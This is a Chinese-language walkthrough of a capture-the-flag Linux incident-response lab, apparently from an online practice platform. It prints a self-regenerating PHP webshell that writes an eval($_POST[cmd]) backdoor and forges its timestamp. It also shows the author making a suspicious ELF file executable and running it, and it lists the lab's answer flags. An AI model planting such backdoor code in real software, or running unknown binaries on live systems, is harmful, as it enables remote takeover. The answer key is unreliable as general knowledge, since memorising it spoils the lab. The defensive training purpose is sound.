第一章 应急响应- Linux入侵排查
步骤 1
web目录存在木马,请找到木马的密码提交
1.分析题目
Web目录里面重点关注目录:/var/www/html/、/tmp/(临时目录)
/var/www/html/—— 是默认存放网站网页文件(如 HTML、CSS、JavaScript 文件 )、图片、脚本等资源的地方,可以通过检查该目录下的文件,查看是否存在被篡改的网页文件,比如黑客攻击后留下的网页挂马(在正常网页文件中插入恶意代码,如 JavaScript 脚本,用于窃取用户信息或进行恶意跳转 )、网页篡改(将正常网页内容替换为非法或恶意信息 )等情况。
/tmp/——这个是临时目录,存储临时性数据(如只需访问一两次的文件),目录内容在系统重启后会清空,任何用户均可在此目录创建、修改文件,那么攻击者在获取机器访问权限后,常将脚本或工具暂存于此
2.解题
find / -name "*.php" | xargs grep "eval("
root@ip-10-0-10-5:/var/www/html# cat .shell.php #查看.shell.php文件内容
root@ip-10-0-10-5:/var/www/html# cat index.php
root@ip-10-0-10-3:/var/www/html# cat 1.php
$_POST["pass"]
是客户端通过HTTP POST请求提交的字段,通常用作密码验证
文件中提到了POST[1], POST[pass],那么输入1或post进行尝试
得到flag flag{1}
步骤 #2
服务器疑似存在不死马,请找到不死马的密码提交
1.分析题目
“不死马” 是一种恶意的后门程序,属于网页后门(Webshell)的变种,其核心特点是具备自我修复和持续存在的能力,难以通过常规删除操作彻底清除。这类后门通常会利用服务器的文件系统权限、定时任务(如 Cron)、进程守护机制或系统漏洞,在被删除后自动重新生成,从而实现 “不死” 的效果。
2.解题
cat index.php
可以看到创建文件的代码
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
每次访问 index.php
时,会自动创建或修复 .shell.php
后门文件,并伪造文件修改时间为 2021 年 1 月 1 日,以躲避基于时间的检测。
可以关注到这个MD5码5d41402abc4b2a76b9719d911017c592
解码得到flag flag{hello}
步骤 #3
不死马是通过哪个文件生成的,请提交文件名
1.分析题目
根据步骤2,不死马在index.php文件中
2.解题
flag为 flag{index.php}
步骤 #4
黑客留下了木马文件,请找出黑客的服务器IP提交
1.分析题目
找IP的话,根据之前的做题经验,可以查看日志文件,但是这个题目输入
cat /var/log/auth.log /var/log/auth.log.1 | grep -a "index.php" | uniq -c | sort -nr
没有输出,那么问题不是出现在这里
2.解题
列出/var/www/html中的文件
root@ip-10-0-10-1:~# cd /var/www/html
root@ip-10-0-10-1:/var/www/html# ls
1.php admin config.php favicon.ico index.php LICENSE README.md 'shell(1).elf' template
1.tar api.php data include install.php pictures rss.php sitemap.php wap
发现了一个格式很特别的文件’shell(1).elf’,.elf
文件本质是Linux可执行程序
但是直接cat文件,会出先一大串看似乱码的东西
了解到.elf 是 Linux 的二进制可执行文件(类似 Windows 的 .exe),其内容为 机器码,不是文本文件。
cat 命令默认按 文本格式 输出,遇到非 ASCII 字符(如编译后的代码、加密数据)时会显示乱码。
然后想到既然是获得IP,那就用netstat查看
netstat -antlp | more ##用于查看当前系统的所有网络连接、监听端口及相关进程信息,并通过 more 分页显示结果。
结果没有’shell(1).elf’的显示。
那么该如何查看文件呢参考了这篇文章的做法玄机——第一章 应急响应- Linux入侵排查 wp_玄机应急-CSDN博客
进行提权再进行文件操作:
chmod 777 "shell(1).elf" #进行文件的提权
为什么是777呢?查找知道这是权限的二进制表示
数字 | 二进制 | 权限 | 说明 |
---|---|---|---|
7 | 111 | rwx |
读、写、执行 |
6 | 110 | rw- |
读、写 |
5 | 101 | r-x |
读、执行 |
4 | 100 | r-- |
仅读 |
三个数字分别对应:
7(所有者) =
rwx
(读+写+执行)7(所属组) =
rwx
7(其他用户) =
rwx
那么777是具备了最高可执行权限
然后再进行输入
./'shell(1).elf' #表示尝试运行当前目录下名为 shell(1).elf 的可执行文件。
然后再新开一个终端窗口,进行连接,刚刚这个终端窗口无需关闭
再在新窗口输入
netstat -antlp | more #用于查看当前系统的所有网络连接、监听端口及相关进程信息,并通过 more 分页显示结果。
然后可以查看到这个’shell(1).elf’文件的来源IP 10.11.55.21
输入flag flag{10.11.55.21}
成功
步骤 #5
黑客留下了木马文件,请找出黑客服务器开启的监端口提交
1.分析题目
提交端口数据,前文步骤#4已经通过netstat查看出了端口IP信息,那么直接输入
2.解题
flag为 flag{3333}
,成功